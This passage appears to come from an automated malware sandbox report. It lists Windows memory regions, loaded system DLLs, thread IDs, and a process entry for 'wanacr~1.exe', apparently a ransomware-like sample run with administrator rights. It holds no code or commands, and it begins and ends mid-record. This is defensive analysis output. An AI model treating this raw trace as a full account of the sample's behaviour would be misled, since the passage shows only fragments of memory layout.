0x7ffd12640000 region_type = mapped_file name = "ncuprov.dll" filename = "\\Windows\\System32\\ncuprov.dll" (normalized: "c:\\windows\\system32\\ncuprov.dll") Region: id = 7205 start_va = 0x7ffd184e0000 end_va = 0x7ffd1852bfff entry_point = 0x7ffd184e10a0 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 7206 start_va = 0x7ffd12e00000 end_va = 0x7ffd12e11fff entry_point = 0x7ffd12e0a7f8 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 7212 start_va = 0x7ffd12620000 end_va = 0x7ffd12631fff entry_point = 0x7ffd12620000 region_type = mapped_file name = "energyprov.dll" filename = "\\Windows\\System32\\energyprov.dll" (normalized: "c:\\windows\\system32\\energyprov.dll") Region: id = 7220 start_va = 0x7ffd197f0000 end_va = 0x7ffd19827fff entry_point = 0x7ffd197f1034 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 7221 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7224 start_va = 0x7ffd125f0000 end_va = 0x7ffd125fffff entry_point = 0x7ffd125f0000 region_type = mapped_file name = "srumapi.dll" filename = "\\Windows\\System32\\srumapi.dll" (normalized: "c:\\windows\\system32\\srumapi.dll") Region: id = 7265 start_va = 0xf80400000 end_va = 0xf8047ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80400000" filename = "" Region: id = 7266 start_va = 0x7ff6180e0000 end_va = 0x7ff6180e1fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180e0000" filename = "" Region: id = 7282 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7283 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7284 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7285 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7286 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7287 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7288 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7289 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7290 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7291 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7292 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7293 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7294 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7331 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7332 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7333 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7334 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7335 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7336 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7337 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7338 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7339 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7340 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7341 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7342 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7343 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7344 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7345 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7346 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7347 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7348 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7349 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7350 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7351 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7352 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7353 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7354 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7355 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7356 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7357 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7358 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7359 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7360 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7361 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7362 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7363 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7364 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7365 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7366 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7367 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7368 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7369 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7370 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7371 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7372 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7373 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7374 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7375 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7376 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7377 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7378 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7379 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7380 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7381 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7382 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7383 start_va = 0xffeb20000 end_va = 0xffeb20fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7384 start_va = 0xffeb20000 end_va = 0xffeb20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffeb20000" filename = "" Region: id = 7412 start_va = 0x7ffd167a0000 end_va = 0x7ffd16a4efff entry_point = 0x7ffd167a1ee4 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7688 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7689 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7690 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7691 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7692 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7693 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7694 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7695 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7696 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7697 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7698 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7699 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7700 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7701 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7702 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7703 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7704 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7705 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7706 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7707 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7708 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7709 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7710 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7711 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7712 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7713 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7714 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7715 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7716 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 7717 start_va = 0xffeb30000 end_va = 0xffeb42fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb30000" filename = "" Region: id = 10714 start_va = 0xf80480000 end_va = 0xf80586fff entry_point = 0x0 region_type = private name = "private_0x0000000f80480000" filename = "" Region: id = 10715 start_va = 0xf80590000 end_va = 0xf8078ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80590000" filename = "" Region: id = 10716 start_va = 0xf80480000 end_va = 0xf8058bfff entry_point = 0x0 region_type = private name = "private_0x0000000f80480000" filename = "" Region: id = 10717 start_va = 0xf80790000 end_va = 0xf80895fff entry_point = 0x0 region_type = private name = "private_0x0000000f80790000" filename = "" Region: id = 10718 start_va = 0xf80080000 end_va = 0xf80080fff entry_point = 0x0 region_type = private name = "private_0x0000000f80080000" filename = "" Region: id = 10719 start_va = 0xf808a0000 end_va = 0xf80913fff entry_point = 0x0 region_type = private name = "private_0x0000000f808a0000" filename = "" Region: id = 10720 start_va = 0xf80920000 end_va = 0xf80d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80920000" filename = "" Region: id = 10721 start_va = 0xf80790000 end_va = 0xf808a0fff entry_point = 0x0 region_type = private name = "private_0x0000000f80790000" filename = "" Region: id = 10722 start_va = 0xf80480000 end_va = 0xf8058ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80480000" filename = "" Region: id = 10723 start_va = 0xf80790000 end_va = 0xf80897fff entry_point = 0x0 region_type = private name = "private_0x0000000f80790000" filename = "" Region: id = 10724 start_va = 0xf80080000 end_va = 0xf80080fff entry_point = 0x0 region_type = private name = "private_0x0000000f80080000" filename = "" Region: id = 10725 start_va = 0xf808a0000 end_va = 0xf80913fff entry_point = 0x0 region_type = private name = "private_0x0000000f808a0000" filename = "" Region: id = 10726 start_va = 0xf80d20000 end_va = 0xf80e70fff entry_point = 0x0 region_type = private name = "private_0x0000000f80d20000" filename = "" Region: id = 10727 start_va = 0xf80e80000 end_va = 0xf8106afff entry_point = 0x0 region_type = private name = "private_0x0000000f80e80000" filename = "" Region: id = 10728 start_va = 0xf80d20000 end_va = 0xf80e47fff entry_point = 0x0 region_type = private name = "private_0x0000000f80d20000" filename = "" Region: id = 10729 start_va = 0xf81070000 end_va = 0xf81341fff entry_point = 0x0 region_type = private name = "private_0x0000000f81070000" filename = "" Region: id = 10730 start_va = 0xf81350000 end_va = 0xf81798fff entry_point = 0x0 region_type = private name = "private_0x0000000f81350000" filename = "" Region: id = 10731 start_va = 0xf817a0000 end_va = 0xf81e00fff entry_point = 0x0 region_type = private name = "private_0x0000000f817a0000" filename = "" Thread: id = 418 os_tid = 0x444 Thread: id = 435 os_tid = 0x494 Thread: id = 436 os_tid = 0x498 Thread: id = 445 os_tid = 0x4bc Thread: id = 453 os_tid = 0x4e4 Thread: id = 454 os_tid = 0x4e8 Thread: id = 455 os_tid = 0x4ec Thread: id = 468 os_tid = 0x500 Thread: id = 481 os_tid = 0x558 Thread: id = 482 os_tid = 0x55c Thread: id = 488 os_tid = 0x574 Thread: id = 496 os_tid = 0x590 Thread: id = 503 os_tid = 0x5b4 Thread: id = 504 os_tid = 0x5b8 Thread: id = 513 os_tid = 0x5dc Thread: id = 515 os_tid = 0x5e4 Thread: id = 524 os_tid = 0x60c Thread: id = 525 os_tid = 0x610 Thread: id = 569 os_tid = 0x6b4 Thread: id = 581 os_tid = 0x6e8 Thread: id = 625 os_tid = 0x7a4 Thread: id = 644 os_tid = 0x7f4 Thread: id = 650 os_tid = 0x4f8 Thread: id = 657 os_tid = 0x180 Thread: id = 662 os_tid = 0x618 Thread: id = 664 os_tid = 0x5e0 Thread: id = 667 os_tid = 0x67c Thread: id = 668 os_tid = 0x2c4 Thread: id = 677 os_tid = 0x3a0 Thread: id = 684 os_tid = 0x6f0 Thread: id = 687 os_tid = 0x704 Thread: id = 694 os_tid = 0x7a8 Thread: id = 1014 os_tid = 0x854 Process: id = "58" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x672d1000" os_pid = "0x450" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x320" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE " cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4990 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4991 start_va = 0x92c9d30000 end_va = 0x92c9d4ffff entry_point = 0x0 region_type = private name = "private_0x00000092c9d30000" filename = "" Region: id = 4992 start_va = 0x92c9d50000 end_va = 0x92c9d5efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092c9d50000" filename = "" Region: id = 4993 start_va = 0x92c9d60000 end_va = 0x92ca15ffff entry_point = 0x0 region_type = private name = "private_0x00000092c9d60000" filename = "" Region: id = 4994 start_va = 0x7ff6ce780000 end_va = 0x7ff6ce7a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce780000" filename = "" Region: id = 4995 start_va = 0x7ff6ce7ad000 end_va = 0x7ff6ce7aefff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce7ad000" filename = "" Region: id = 4996 start_va = 0x7ff6ce7af000 end_va = 0x7ff6ce7affff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce7af000" filename = "" Region: id = 4997 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 4998 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5000 start_va = 0x92ca160000 end_va = 0x92ca163fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca160000" filename = "" Region: id = 5003 start_va = 0x92ca170000 end_va = 0x92ca171fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca170000" filename = "" Region: id = 5004 start_va = 0x92ca180000 end_va = 0x92ca181fff entry_point = 0x0 region_type = private name = "private_0x00000092ca180000" filename = "" Region: id = 5856 start_va = 0x92ca340000 end_va = 0x92ca73ffff entry_point = 0x0 region_type = private name = "private_0x00000092ca340000" filename = "" Region: id = 5857 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5858 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5891 start_va = 0x92c9d30000 end_va = 0x92c9d3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092c9d30000" filename = "" Region: id = 5892 start_va = 0x7ff6ce680000 end_va = 0x7ff6ce77ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce680000" filename = "" Region: id = 5925 start_va = 0x92ca190000 end_va = 0x92ca20dfff entry_point = 0x92ca190000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5926 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15300000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 5927 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5928 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 5929 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 5930 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 5931 start_va = 0x92c9d40000 end_va = 0x92c9d46fff entry_point = 0x0 region_type = private name = "private_0x00000092c9d40000" filename = "" Region: id = 5932 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5933 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd30000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 6404 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6405 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6406 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6407 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6408 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6409 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f550000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 6410 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6411 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6412 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6413 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6414 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6415 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6416 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 6417 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 